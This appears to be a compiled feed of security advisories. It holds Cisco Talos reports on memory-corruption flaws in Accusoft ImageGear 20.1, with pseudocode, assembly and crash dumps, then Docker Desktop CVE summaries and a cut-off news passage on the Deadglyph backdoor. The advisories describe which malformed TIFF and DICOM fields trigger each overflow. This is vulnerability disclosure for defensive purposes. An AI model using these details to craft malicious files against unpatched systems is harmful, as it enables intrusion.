A stack-based buffer overflow vulnerability exists in the tif_processing_dng_channel_count functionality of Accusoft ImageGear 20.1. A specially crafted malformed file can lead to memory corruption. An attacker can provide a malicious file to trigger this vulnerability.

**SUMMARY**

A stack-based buffer overflow vulnerability exists in the tif\_processing\_dng\_channel\_count functionality of Accusoft ImageGear 20.1. A specially crafted malformed file can lead to memory corruption. An attacker can provide a malicious file to trigger this vulnerability.

**CONFIRMED VULNERABLE VERSIONS**

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

Accusoft ImageGear 20.1

**PRODUCT URLS**

ImageGear - https://www.accusoft.com/products/imagegear-collection/

**CVSSv3 SCORE**

5.6 - CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L

**CWE**

CWE-121 - Stack-based Buffer Overflow

**DETAILS**

The ImageGear library is a document-imaging developer toolkit that offers image conversion, creation, editing, annotation and more. It supports more than 100 formats such as DICOM, PDF, Microsoft Office and others.

A specially crafted TIFF file can lead to a stack-based buffer overflow in tif_processing_dng_channel_count, due to a missing bounds check.

Trying to load a malformed TIFF, we end up in the following situation:

    (c74.ec0): Access violation - code c0000005 (first chance)
    First chance exceptions are reported before any exception handling.
    This exception may be expected and handled.
    eax=00000010 ebx=0ec9efe0 ecx=000003c8 edx=0ec9e000 esi=0ec9efe0 edi=001a0000
    eip=6f579a03 esp=0019faf4 ebp=0019fb34 iopl=0         nv up ei pl nz na pe nc
    cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
    igCore20d!IG_mpi_page_set+0x2d8e3:
    6f579a03 f3ab            rep stos dword ptr es:[edi]
    

As we can see below the stack is overwritten with some constant value 0x10:

    0:000> kb
     # ChildEBP RetAddr  Args to Child              
    WARNING: Stack unwind information not available. Following frames may be wrong.
    00 0019fb34 00000000 00000010 00000010 00000010 igCore20d!IG_mpi_page_set+0x2d8e3
    

The crash is happening in the function tif_processing_dng_channel_count with the following pseudo code at LINE36:

    LINE1   dword tif_processing_dng_channel_count
    LINE2                   (HIGEAR higear,int param_2,int param_3,int *param_4,int param_5)
    LINE3   {
    LINE4     int max_loop;
    LINE5     double *pdVar1;
    LINE6     int iVar2;
    LINE7     uint uVar3;
    LINE8     dword dVar4;
    LINE9     int iVar5;
    LINE10    int iVar6;
    LINE11    short *psVar7;
    LINE12    void **ppvVar8;
    LINE13    int iVar9;
    LINE14    int iVar10;
    LINE15    AT_INT *p_loc_at_int;
    LINE16    double dVar11;
    LINE17    double dVar13;
    LINE18    int local_28;
    LINE19    int local_24;
    LINE20    int local_20;
    LINE21    void **local_1c;
    LINE22    AT_INT _local_at_int [2];
    LINE23    double local_10;
    LINE24    uint local_8;
    LINE25    undefined auVar12 [16];
    LINE26    
    LINE27    local_8 = DAT_10319e74 ^ (uint)&stack0xfffffffc;
    LINE28    max_loop = get_channel_count(higear);
    LINE29    local_1c = (void **)0x0;
    LINE30    _local_at_int[0] = 0;
    LINE31    _local_at_int[1] = 0;
    LINE32    local_10 = 0.0;
    LINE33    if (0 < max_loop) {
    LINE34      p_loc_at_int = _local_at_int;
    LINE35      for (iVar5 = max_loop; iVar5 != 0; iVar5 = iVar5 + -1) {
    LINE36        *p_loc_at_int = 0x10;
    LINE37        p_loc_at_int = p_loc_at_int + 1;
    LINE38      }
    LINE39    }
    LINE40    iIG_image_channel_depths_change(higear,_local_at_int,1);
        [...]
    LINE148 }
    

This is a for loop with a bound size controlled by the variable max_loop LINE35. The pointer p_loc_at_int is pointing to a stack variable _local_at_int, which is a table of two integers.  
The max_loop is returned by the function get_channel_count LINE28, which is a wrapper, and returns a value directly read and controlled from the file. This can happen under specific circumstances with some malformed tags BitsPerSample, the max_loop corresponds to the SamplesPerPixel value. The presence of some other tags like DNGVersion and SubIFDs is a prerequisite to make this happen.  
As the loop is arbitrarily controlled and has no bounds checks, the command at LINE36 would write out-of-bounds on the stack, leading to memory corruption.

**Crash Information**

    0:000> !analyze -v
    *******************************************************************************
    *                                                                             *
    *                        Exception Analysis                                   *
    *                                                                             *
    *******************************************************************************
    
    *** WARNING: Unable to verify checksum for Fuzzme.exe
    
    KEY_VALUES_STRING: 1
    
        Key  : AV.Fault
        Value: Write
    
        Key  : Analysis.CPU.Sec
        Value: 1
    
        Key  : Analysis.DebugAnalysisProvider.CPP
        Value: Create: 8007007e on DESKTOP-I6GKV78
    
        Key  : Analysis.DebugData
        Value: CreateObject
    
        Key  : Analysis.DebugModel
        Value: CreateObject
    
        Key  : Analysis.Elapsed.Sec
        Value: 1
    
        Key  : Analysis.Memory.CommitPeak.Mb
        Value: 93
    
        Key  : Analysis.System
        Value: CreateObject
    
        Key  : Timeline.OS.Boot.DeltaSec
        Value: 1280404
    
        Key  : Timeline.Process.Start.DeltaSec
        Value: 101
    
    
    NTGLOBALFLAG:  2100000
    
    PROCESS_BAM_CURRENT_THROTTLED: 0
    
    PROCESS_BAM_PREVIOUS_THROTTLED: 0
    
    APPLICATION_VERIFIER_FLAGS:  0
    
    APPLICATION_VERIFIER_LOADED: 1
    
    EXCEPTION_RECORD:  (.exr -1)
    ExceptionAddress: 6f579a03 (igCore20d!IG_mpi_page_set+0x0002d8e3)
       ExceptionCode: c0000005 (Access violation)
      ExceptionFlags: 00000000
    NumberParameters: 2
       Parameter[0]: 00000001
       Parameter[1]: 001a0000
    Attempt to write to address 001a0000
    
    FAULTING_THREAD:  00000ec0
    
    PROCESS_NAME:  Fuzzme.exe
    
    WRITE_ADDRESS:  001a0000 
    
    ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.
    
    EXCEPTION_CODE_STR:  c0000005
    
    EXCEPTION_PARAMETER1:  00000001
    
    EXCEPTION_PARAMETER2:  001a0000
    
    STACK_TEXT:  
    0019fb34 00000000 00000010 00000010 00000010 igCore20d!IG_mpi_page_set+0x2d8e3
    
    
    STACK_COMMAND:  ~0s ; .cxr ; kb
    
    SYMBOL_NAME:  igCore20d!IG_mpi_page_set+2d8e3
    
    MODULE_NAME: igCore20d
    
    IMAGE_NAME:  igCore20d.dll
    
    FAILURE_BUCKET_ID:  INVALID_POINTER_WRITE_AVRF_c0000005_igCore20d.dll!IG_mpi_page_set
    
    OS_VERSION:  10.0.19041.1
    
    BUILDLAB_STR:  vb_release
    
    OSPLATFORM_TYPE:  x86
    
    OSNAME:  Windows 10
    
    FAILURE_ID_HASH:  {fe8f80f8-683f-d41f-7c33-712a409d5fb5}
    
    Followup:     MachineOwner
    ---------
    

**VENDOR RESPONSE**

Release notes from the vendor can be found here:

https://help.accusoft.com/ImageGear/v20.3/Windows/DLL/webframe.html#release-notes.html

https://help.accusoft.com/ImageGear/v20.3/Linux/webframe.html#release-notes.html

**TIMELINE**

2023-04-20 - Vendor Disclosure  
2023-09-20 - Vendor Patch Release  
2023-09-25 - Public Release

Discovered by Emmanuel Tacheau of Cisco Talos.

CVE-2023-28393: TALOS-2023-1742 || Cisco Talos Intelligence Group

An out-of-bounds write vulnerability exists in the tiff_planar_adobe functionality of Accusoft ImageGear 20.1. A specially crafted malformed file can lead to memory corruption. An attacker can provide a malicious file to trigger this vulnerability.

**SUMMARY**

An out-of-bounds write vulnerability exists in the tiff\_planar\_adobe functionality of Accusoft ImageGear 20.1. A specially crafted malformed file can lead to memory corruption. An attacker can provide a malicious file to trigger this vulnerability.

**CONFIRMED VULNERABLE VERSIONS**

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

Accusoft ImageGear 20.1

**PRODUCT URLS**

ImageGear - https://www.accusoft.com/products/imagegear-collection/

**CVSSv3 SCORE**

8.1 - CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

**CWE**

CWE-119 - Improper Restriction of Operations within the Bounds of a Memory Buffer

**DETAILS**

The ImageGear library is a document-imaging developer toolkit that offers image conversion, creation, editing, annotation and more. It supports more than 100 formats such as DICOM, PDF, Microsoft Office and others.

A specially crafted TIFF file can lead to a heap-based buffer overflow in tiff_planar_adobe, due to a missing bounds check.

Trying to load a malformed TIFF, we end up in the following situation:

    0:000> r
    eax=00000000 ebx=0b086ff0 ecx=00000010 edx=0b087000 esi=0b9d0fb8 edi=00000044
    eip=6e86d4a3 esp=0019da24 ebp=0019da38 iopl=0         nv up ei ng nz ac pe cy
    cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010297
    igCore20d!IG_mpi_page_set+0x11383:
    6e86d4a3 8802            mov     byte ptr [edx],al          ds:002b:0b087000=??
    

When we look at the edx memory allocation we can see the buffer allocated is quite small, only 10 bytes:

    0:000> !heap -p -a edx
        address 0b087000 found in
        _DPH_HEAP_ROOT @ 4dc1000
        in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                     b270bfc:          b086ff0               10 -          b086000             2000
        6ebaa8b0 verifier!AVrfDebugPageHeapAllocate+0x00000240
        773df29e ntdll!RtlDebugAllocateHeap+0x00000039
        77347170 ntdll!RtlpAllocateHeap+0x000000f0
        77346ecc ntdll!RtlpAllocateHeapInternal+0x0000104c
        77345e6e ntdll!RtlAllocateHeap+0x0000003e
        6ea11fa6 igCore20d!IG_GUI_page_title_set+0x0003e4d6
        6ea104aa igCore20d!IG_GUI_page_title_set+0x0003c9da
        6e8646ba igCore20d!IG_mpi_page_set+0x0000859a
        6e826c86 igCore20d!IG_comm_is_comp_exist+0x000048f6
        6e825f75 igCore20d!IG_comm_is_comp_exist+0x00003be5
        6e8604c4 igCore20d!IG_mpi_page_set+0x000043a4
        6e86588e igCore20d!IG_mpi_page_set+0x0000976e
        6e80c7f2 igCore20d!GPb_image_associate+0x00000092
        6e86d050 igCore20d!IG_mpi_page_set+0x00010f30
        6e84929e igCore20d!IG_cpm_profiles_reset+0x0000dfae
        6e96fc93 igCore20d!IG_mpi_page_set+0x00113b73
        6e969b9b igCore20d!IG_mpi_page_set+0x0010da7b
        6e8315b9 igCore20d!IG_image_savelist_get+0x00000b29
        6e8708bc igCore20d!IG_mpi_page_set+0x0001479c
        6e870239 igCore20d!IG_mpi_page_set+0x00014119
        6e805bc7 igCore20d!IG_load_file+0x00000047
        00402399 Fuzzme!fuzzme+0x00000019
        004026c0 Fuzzme!fuzzme+0x00000340
        00408407 Fuzzme!fuzzme+0x00006087
        75bf0099 KERNEL32!BaseThreadInitThunk+0x00000019
        77367b6e ntdll!__RtlUserThreadStart+0x0000002f
        77367b3e ntdll!_RtlUserThreadStart+0x0000001b
    

The call stack will indicate where this is happening:

    STACK_TEXT:  
    WARNING: Stack unwind information not available. Following frames may be wrong.
    0019da38 6e84a238 00000001 0b9d0fb8 0b086ff0 igCore20d!IG_mpi_page_set+0x11383
    0019da54 6e96b904 0019fc3c 0b9d0fb8 00000000 igCore20d!IG_cpm_profiles_reset+0xef48
    0019f678 6e96fdb4 0019fc3c 10000021 0019f6d0 igCore20d!IG_mpi_page_set+0x10f7e4
    0019f6a0 6e969b9b 0019fc3c 10000021 09046d68 igCore20d!IG_mpi_page_set+0x113c94
    0019fbb4 6e8315b9 0019fc3c 09046d68 00000001 igCore20d!IG_mpi_page_set+0x10da7b
    0019fbec 6e8708bc 00000000 09046d68 0019fc3c igCore20d!IG_image_savelist_get+0xb29
    0019fe68 6e870239 00000000 05281fe0 00000001 igCore20d!IG_mpi_page_set+0x1479c
    0019fe88 6e805bc7 00000000 05281fe0 00000001 igCore20d!IG_mpi_page_set+0x14119
    0019fea8 00402399 05281fe0 0019febc 75befb60 igCore20d!IG_load_file+0x47
    0019fec0 004026c0 05281fe0 0019fef8 051ddf40 Fuzzme!fuzzme+0x19
    0019ff28 00408407 00000005 051d6f98 051ddf40 Fuzzme!fuzzme+0x340
    0019ff70 75bf0099 0023a000 75bf0080 0019ffdc Fuzzme!fuzzme+0x6087
    0019ff80 77367b6e 0023a000 6666f0ed 00000000 KERNEL32!BaseThreadInitThunk+0x19
    0019ffdc 77367b3e ffffffff 77388ca1 00000000 ntdll!__RtlUserThreadStart+0x2f
    0019ffec 00000000 0040848f 0023a000 00000000 ntdll!_RtlUserThreadStart+0x1b
    

The crash is happening in the function tiff_planar_adobe with the following pseudo code at LINE63:

    LINE1   BOOLEAN tiff_planar_adobe(HIGEAR lpHigear,BYTE *raster_buffer,BYTE *at_pixpos,int size_raster_buffer
    LINE2                            ,int loop_sample_per_pixel)
    LINE3   {
    LINE4     undefined4 uVar1;
    LINE5     LPCHAR pCVar2;
    LINE6     AT_INT AVar3;
    LINE7     BOOLEAN BVar4;
    LINE8     int bits_per_channel;
    LINE9     int sample_per_pixel;
    LINE10    int max_loop;
    LINE11    int bit_depth_sums;
    LINE12    undefined4 *_dest_buffer;
    LINE13    undefined2 *puVar5;
    LINE14    int loop_cnt;
    LINE15    BYTE *oobw;
    LINE16    uint uVar6;
    LINE17    HIGEAR hiGear;
    LINE18    
    LINE19    hiGear = *(HIGEAR *)lpHigear->valid_image;
    LINE20    if (lpHigear->lpfnDIBGet != 0) {
    LINE21      uVar1 = getHeight(hiGear);
    LINE22      pCVar2 = (LPCHAR)(*(code *)lpHigear->lpfnDIBGet)(lpHigear->IGDIBRunEnds,at_pixpos,uVar1);
    LINE23      if (pCVar2 == (LPCHAR)0x0) {
    LINE24        AVar3 = getHeight(hiGear);
    LINE25        AF_err_record_set("..\\..\\..\\..\\Common\\Io\\dfltldcb.c",0x20d,-0x841,0,(AT_INT)at_pixpos,
    LINE26                          AVar3,pCVar2);
    LINE27        BVar4 = AF_error_check();
    LINE28        return BVar4;
    LINE29      }
    LINE30    }
    LINE31    bit_depth_sums = getWidth(hiGear);
    LINE32    bits_per_channel = get_ptr_bits_per_channel_table(hiGear);
    LINE33    sample_per_pixel = get_sample_per_pixel_table(hiGear);
    LINE34    max_loop = size_raster_buffer / ((int)((bits_per_channel >> 0x1f & 7U) + bits_per_channel) >> 3);
    LINE35    if (bit_depth_sums < max_loop) {
    LINE36      max_loop = bit_depth_sums;
    LINE37    }
    LINE38    at_pixpos = GPb_image_row_pointer_get(hiGear,(AT_PIXPOS)at_pixpos);
    LINE39    if (bits_per_channel == 8) {
    [...]
    LINE57      }
    LINE58      else {
    LINE59        oobw = at_pixpos + loop_sample_per_pixel;
    LINE60        loop_cnt = 0;
    LINE61        if (0 < max_loop) {
    LINE62          do {
    LINE63            *oobw = raster_buffer[loop_cnt];
    LINE64            oobw = oobw + sample_per_pixel;
    LINE65            loop_cnt = loop_cnt + 1;
    LINE66          } while (loop_cnt < max_loop);
    LINE67        }
    LINE68      }
    LINE69    }
    [..]
    LINE105 }
    

This is a do-while loop with a bound size controlled by the variable max_loop LINE66. The max_loop is computed at LINE34 and derived from two variables: size_raster_buffer and bits_per_channel. In our case bits_per_channel equals ‘8’, forcing max_loop to be controlled directly by size_raster_buffer

size_raster_buffer passed in argument to tiff_planar_adobe is computed earlier in function DIB1bit_packed_raster_size_get with following pseudo code :

    LINE106 uint DIB1bit_packed_raster_size_get(HIGDIBINFO hdib)
    LINE107 
    LINE108 {
    LINE109   void *local_10;
    LINE110   undefined *puStack_c;
    LINE111   undefined4 local_8;
    LINE112   
    LINE113   puStack_c = &LAB_10261950;
    LINE114   local_10 = ExceptionList;
    LINE115   ExceptionList = &local_10;
    LINE116   local_8 = 0;
    LINE117   if (hdib->nUnits != 1) {
    LINE118     wrapper_thow_exception
    LINE119               ((undefined *)0xfffffe6f,(char *)0x0,(undefined *)0x0,(undefined *)0x0,
    LINE120                (undefined **)"..\\..\\..\\..\\Common\\Core\\c_DIB.cpp",(undefined *)0x23b);
    LINE121   }
    LINE122   ExceptionList = local_10;
    LINE123   return hdib->size_X + 0x1f >> 3 & 0xfffffffc;
    LINE124 }
    

At LINE123 we can see size_raster_buffer is derived from hdib->size_X, which corresponds to the value read from the file in TIFF tag ImageWidth.

The presence of some other tags like Planar and Compression is a prerequisite to trigger this issue.  
As the loop is arbitrarily controlled and has no bounds checks, the command at LINE63 would write out-of-bounds on the stack, leading to memory corruption.

**Crash Information**

    0:000> !analyze -v
    *******************************************************************************
    *                                                                             *
    *                        Exception Analysis                                   *
    *                                                                             *
    *******************************************************************************
    
    
    KEY_VALUES_STRING: 1
    
        Key  : AV.Fault
        Value: Write
    
        Key  : Analysis.CPU.Sec
        Value: 2
    
        Key  : Analysis.DebugAnalysisProvider.CPP
        Value: Create: 8007007e on DESKTOP-I6GKV78
    
        Key  : Analysis.DebugData
        Value: CreateObject
    
        Key  : Analysis.DebugModel
        Value: CreateObject
    
        Key  : Analysis.Elapsed.Sec
        Value: 16
    
        Key  : Analysis.Memory.CommitPeak.Mb
        Value: 93
    
        Key  : Analysis.System
        Value: CreateObject
    
        Key  : Timeline.OS.Boot.DeltaSec
        Value: 1946223
    
        Key  : Timeline.Process.Start.DeltaSec
        Value: 765
    
    
    NTGLOBALFLAG:  2100000
    
    PROCESS_BAM_CURRENT_THROTTLED: 0
    
    PROCESS_BAM_PREVIOUS_THROTTLED: 0
    
    APPLICATION_VERIFIER_FLAGS:  0
    
    APPLICATION_VERIFIER_LOADED: 1
    
    EXCEPTION_RECORD:  (.exr -1)
    ExceptionAddress: 6e86d4a3 (igCore20d!IG_mpi_page_set+0x00011383)
       ExceptionCode: c0000005 (Access violation)
      ExceptionFlags: 00000000
    NumberParameters: 2
       Parameter[0]: 00000001
       Parameter[1]: 0b087000
    Attempt to write to address 0b087000
    
    FAULTING_THREAD:  00001a58
    
    PROCESS_NAME:  Fuzzme.exe
    
    WRITE_ADDRESS:  0b087000 
    
    ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.
    
    EXCEPTION_CODE_STR:  c0000005
    
    EXCEPTION_PARAMETER1:  00000001
    
    EXCEPTION_PARAMETER2:  0b087000
    
    STACK_TEXT:  
    WARNING: Stack unwind information not available. Following frames may be wrong.
    0019da38 6e84a238 00000001 0b9d0fb8 0b086ff0 igCore20d!IG_mpi_page_set+0x11383
    0019da54 6e96b904 0019fc3c 0b9d0fb8 00000000 igCore20d!IG_cpm_profiles_reset+0xef48
    0019f678 6e96fdb4 0019fc3c 10000021 0019f6d0 igCore20d!IG_mpi_page_set+0x10f7e4
    0019f6a0 6e969b9b 0019fc3c 10000021 09046d68 igCore20d!IG_mpi_page_set+0x113c94
    0019fbb4 6e8315b9 0019fc3c 09046d68 00000001 igCore20d!IG_mpi_page_set+0x10da7b
    0019fbec 6e8708bc 00000000 09046d68 0019fc3c igCore20d!IG_image_savelist_get+0xb29
    0019fe68 6e870239 00000000 05281fe0 00000001 igCore20d!IG_mpi_page_set+0x1479c
    0019fe88 6e805bc7 00000000 05281fe0 00000001 igCore20d!IG_mpi_page_set+0x14119
    0019fea8 00402399 05281fe0 0019febc 75befb60 igCore20d!IG_load_file+0x47
    0019fec0 004026c0 05281fe0 0019fef8 051ddf40 Fuzzme!fuzzme+0x19
    0019ff28 00408407 00000005 051d6f98 051ddf40 Fuzzme!fuzzme+0x340
    0019ff70 75bf0099 0023a000 75bf0080 0019ffdc Fuzzme!fuzzme+0x6087
    0019ff80 77367b6e 0023a000 6666f0ed 00000000 KERNEL32!BaseThreadInitThunk+0x19
    0019ffdc 77367b3e ffffffff 77388ca1 00000000 ntdll!__RtlUserThreadStart+0x2f
    0019ffec 00000000 0040848f 0023a000 00000000 ntdll!_RtlUserThreadStart+0x1b
    
    
    STACK_COMMAND:  ~0s ; .cxr ; kb
    
    SYMBOL_NAME:  igCore20d!IG_mpi_page_set+11383
    
    MODULE_NAME: igCore20d
    
    IMAGE_NAME:  igCore20d.dll
    
    FAILURE_BUCKET_ID:  INVALID_POINTER_WRITE_AVRF_c0000005_igCore20d.dll!IG_mpi_page_set
    
    OS_VERSION:  10.0.19041.1
    
    BUILDLAB_STR:  vb_release
    
    OSPLATFORM_TYPE:  x86
    
    OSNAME:  Windows 10
    
    FAILURE_ID_HASH:  {fe8f80f8-683f-d41f-7c33-712a409d5fb5}
    
    Followup:     MachineOwner
    ---------
    

**VENDOR RESPONSE**

Release notes from the vendor can be found here:

https://help.accusoft.com/ImageGear/v20.3/Windows/DLL/webframe.html#release-notes.html

https://help.accusoft.com/ImageGear/v20.3/Linux/webframe.html#release-notes.html

**TIMELINE**

2023-05-24 - Vendor Disclosure  
2023-09-20 - Vendor Patch Release  
2023-09-25 - Public Release

Discovered by Emmanuel Tacheau of Cisco Talos.

CVE-2023-32284: TALOS-2023-1750 || Cisco Talos Intelligence Group

A use-after-free vulnerability exists in the tif_parse_sub_IFD functionality of Accusoft ImageGear 20.1. A specially crafted malformed file can lead to arbitrary code execution. An attacker can deliver file to trigger this vulnerability.

CVE-2023-39453: TALOS-2023-1830 || Cisco Talos Intelligence Group

A heap-based buffer overflow vulnerability exists in the CreateDIBfromPict functionality of Accusoft ImageGear 20.1. A specially crafted file can lead to arbitrary code execution. An attacker can provide a malicious file to trigger this vulnerability.

CVE-2023-23567: TALOS-2023-1729 || Cisco Talos Intelligence Group

An out-of-bounds write vulnerability exists in the dcm_pixel_data_decode functionality of Accusoft ImageGear 20.1. A specially crafted malformed file can lead to arbitrary code execution. A victim would need to open a malicious file to trigger this vulnerability.

**SUMMARY**

An out-of-bounds write vulnerability exists in the dcm\_pixel\_data\_decode functionality of Accusoft ImageGear 20.1. A specially crafted malformed file can lead to arbitrary code execution. A victim would need to open a malicious file to trigger this vulnerability.

**CONFIRMED VULNERABLE VERSIONS**

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

Accusoft ImageGear 20.1

**PRODUCT URLS**

ImageGear - https://www.accusoft.com/products/imagegear-collection/

**CVSSv3 SCORE**

9.8 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

**CWE**

CWE-191 - Integer Underflow (Wrap or Wraparound)

**DETAILS**

The ImageGear library is a document-imaging developer toolkit that offers image conversion, creation, editing, annotation and more. It supports more than 100 formats such as DICOM, PDF, Microsoft Office and others.

Trying to load a malformed Dicom, we end up in the following situation:

    eax=00004000 ebx=00000008 ecx=00000000 edx=00000000 esi=ffffcfdf edi=136b1000
    eip=75059a65 esp=0019fa50 ebp=0019fad0 iopl=0         nv up ei pl zr na pe nc
    cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
    igMED20d!CPb_MED_init+0x169c5:
    75059a65 897cb58c        mov     dword ptr [ebp+esi*4-74h],edi ss:002b:001939d8=????????
    

The crash happens in LINE16 below in a function identified as dcm_pixel_data_decode:

    LINE1  8b45ec             mov     eax, dword [ebp-0x14 {l_value}]
    LINE2  68db100000         push    0x10db {var_88_3}
    LINE3  0fb700             movzx   eax, word [eax]
    LINE4  68a0c40775         push    data_7507c4a0 {var_8c_3}{"..\..\..\..\Common\Components\ME…"}
    LINE5  57                 push    edi {var_90_3}
    LINE6  be0f000000         mov     esi, 0xf
    LINE7  6a00               push    0x0 {ptr_var34}
    LINE8  2bf0               sub     esi, eax
    LINE9  ff15c0130b75       call    dword [AF_memm_alloc]
    LINE10 8bf8               mov     edi, eax
    LINE11 8b45e4             mov     eax, dword [ebp-0x1c {l_buffer_size_1}]
    LINE12 99                 cdq     
    LINE13 2bc2               sub     eax, edx
    LINE14 d1f8               sar     eax, 0x1
    LINE15 33c9               xor     ecx, ecx  {0x0}
    LINE16 897cb58c           mov     dword [ebp+esi*4-0x74 {obj_str_sz_0x40}], edi
    LINE17 85c0               test    eax, eax
    LINE18 7e0e               jle     0x75059a7b
    

The register esi is a very big value, as result of an integer underflow. We can see at LINE6, it was set to a constant 0xf and subtracted by the register eax LINE8.  
There is no check on the value of register eax, causing the very large number. eax gets its value at LINE1, which is under our control into the malformed file.  
At LINE16 we can influence the stack pointer ebp with esi, as that depends on the content of the file, which means we can choose where in the stack to write edi. The value pointed by the register edi is a result of AF_memm_alloc, which is some kind of wrapper of malloc.

By controlling the eax register an attacker can overwrite anywhere in the stack, possibly leading to code execution.

**Crash Information**

    0:000> !analyze -v
    *******************************************************************************
    *                                                                             *
    *                        Exception Analysis                                   *
    *                                                                             *
    *******************************************************************************
    
    Unable to load image E:\ImageGearFuzzing\bin\igCore20d.dll, Win32 error 0n2
    
    KEY_VALUES_STRING: 1
    
        Key  : AV.Fault
        Value: Write
    
        Key  : Analysis.CPU.mSec
        Value: 375
    
        Key  : Analysis.Elapsed.mSec
        Value: 2704
    
        Key  : Analysis.IO.Other.Mb
        Value: 0
    
        Key  : Analysis.IO.Read.Mb
        Value: 0
    
        Key  : Analysis.IO.Write.Mb
        Value: 0
    
        Key  : Analysis.Init.CPU.mSec
        Value: 4061
    
        Key  : Analysis.Init.Elapsed.mSec
        Value: 65613
    
        Key  : Analysis.Memory.CommitPeak.Mb
        Value: 179
    
        Key  : Failure.Bucket
        Value: INVALID_POINTER_WRITE_AVRF_c0000005_igMED20d.dll!Unknown
    
        Key  : Failure.Hash
        Value: {7bd32a5f-d13c-5070-0693-11be1df9b256}
    
        Key  : Timeline.OS.Boot.DeltaSec
        Value: 440574
    
        Key  : WER.Process.Version
        Value: 1.0.1.1
    
    
    NTGLOBALFLAG:  2100000
    
    APPLICATION_VERIFIER_FLAGS:  0
    
    APPLICATION_VERIFIER_LOADED: 1
    
    EXCEPTION_RECORD:  (.exr -1)
    ExceptionAddress: 75059a65 (igMED20d!CPb_MED_init+0x000169c5)
       ExceptionCode: c0000005 (Access violation)
      ExceptionFlags: 00000000
    NumberParameters: 2
       Parameter[0]: 00000001
       Parameter[1]: 001939d8
    Attempt to write to address 001939d8
    
    FAULTING_THREAD:  00001a78
    
    PROCESS_NAME:  Fuzzme.exe
    
    WRITE_ADDRESS:  001939d8 
    
    ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.
    
    EXCEPTION_CODE_STR:  c0000005
    
    EXCEPTION_PARAMETER1:  00000001
    
    EXCEPTION_PARAMETER2:  001939d8
    
    STACK_TEXT:  
    WARNING: Stack unwind information not available. Following frames may be wrong.
    0019fad0 750592f0     0019fc3c 10694fa0 1000001e igMED20d!CPb_MED_init+0x169c5
    0019fb04 750567e0     0019fc3c 10694fa0 1000001e igMED20d!CPb_MED_init+0x16250
    0019fbb4 755a15b9     0019fc3c 10680fb8 00000001 igMED20d!CPb_MED_init+0x13740
    0019fbec 755e08bc     00000000 10680fb8 0019fc3c igCore20d!IG_image_savelist_get+0xb29
    0019fe68 755e0239     00000000 05c26fd0 00000001 igCore20d!IG_mpi_page_set+0x1479c
    0019fe88 75575bc7     00000000 05c26fd0 00000001 igCore20d!IG_mpi_page_set+0x14119
    0019fea8 00402399     05c26fd0 0019febc 75c6fb80 igCore20d!IG_load_file+0x47
    0019fec0 004026c0     05c26fd0 05c28fe0 05b8cf50 Fuzzme!fuzzme+0x19
    0019ff28 00408407     00000005 05b86f78 05b8cf50 Fuzzme!fuzzme+0x340
    0019ff70 75c700c9     002d4000 75c700b0 0019ffdc Fuzzme!fuzzme+0x6087
    0019ff80 77cc7b4e     002d4000 65bf4f61 00000000 KERNEL32!BaseThreadInitThunk+0x19
    0019ffdc 77cc7b1e     ffffffff 77ce8c7f 00000000 ntdll!__RtlUserThreadStart+0x2f
    0019ffec 00000000     0040848f 002d4000 00000000 ntdll!_RtlUserThreadStart+0x1b
    
    
    STACK_COMMAND:  ~0s ; .cxr ; kb
    
    SYMBOL_NAME:  igMED20d+169c5
    
    MODULE_NAME: igMED20d
    
    IMAGE_NAME:  igMED20d.dll
    
    FAILURE_BUCKET_ID:  INVALID_POINTER_WRITE_AVRF_c0000005_igMED20d.dll!Unknown
    
    OSPLATFORM_TYPE:  x86
    
    OSNAME:  Windows 8
    
    IMAGE_VERSION:  20.1.0.117
    
    FAILURE_ID_HASH:  {7bd32a5f-d13c-5070-0693-11be1df9b256}
    
    Followup:     MachineOwner
    ---------
    

**VENDOR RESPONSE**

Release notes from the vendor can be found here:

https://help.accusoft.com/ImageGear/v20.3/Windows/DLL/webframe.html#release-notes.html

https://help.accusoft.com/ImageGear/v20.3/Linux/webframe.html#release-notes.html

**TIMELINE**

2023-07-18 - Vendor Disclosure  
2023-09-20 - Vendor Patch Release  
2023-09-25 - Public Release

Discovered by Emmanuel Tacheau of Cisco Talos.

CVE-2023-32653: TALOS-2023-1802 || Cisco Talos Intelligence Group

Docker Desktop before 4.12.0 is vulnerable to RCE via a crafted extension description or changelog.

This issue affects Docker Desktop: before 4.12.0.



CVE-2023-0625: Docker Desktop release notes

Docker Desktop before 4.23.0 allows Access Token theft via a crafted extension icon URL.

This issue affects Docker Desktop: before 4.23.0.



CVE-2023-5166: Docker Desktop release notes

By Waqas
Stealth Falcon APT group is notorious for its cyber-espionage campaigns in the Middle East.
This is a post from HackRead.com Read the original post: Deadglyph: A New Backdoor Linked to Stealth Falcon APT in the Middle East

ESET warns that Deadglyph is a highly sophisticated backdoor that is mixed with different programming languages to add an extra layer of complexity.

The Middle East has once again found itself in the crosshairs of a new cybersecurity threat. Recent findings by experts at ESET Research have unveiled a highly sophisticated and previously unknown cyber-espionage tool they’ve dubbed “Deadglyph.”

This discovery is a significant development in the world of cybersecurity, as it’s the first time this secretive threat has been publicly analyzed. Even more concerning, Deadglyph has been traced back to the Stealth Falcon APT group, notorious for its cyber-espionage campaigns in the Middle East.

****What is Deadglyph?****

Deadglyph gets its name from distinctive artifacts found within the malicious software. These artifacts, such as “0xDEADB001,” and the use of homoglyph attacks (where similar-looking characters replace regular ones) indicate a high level of sophistication behind its design. It’s important to note that this isn’t your typical cyber threat; it’s a highly advanced and covert tool.

****Unusual Architecture Raises Concerns****

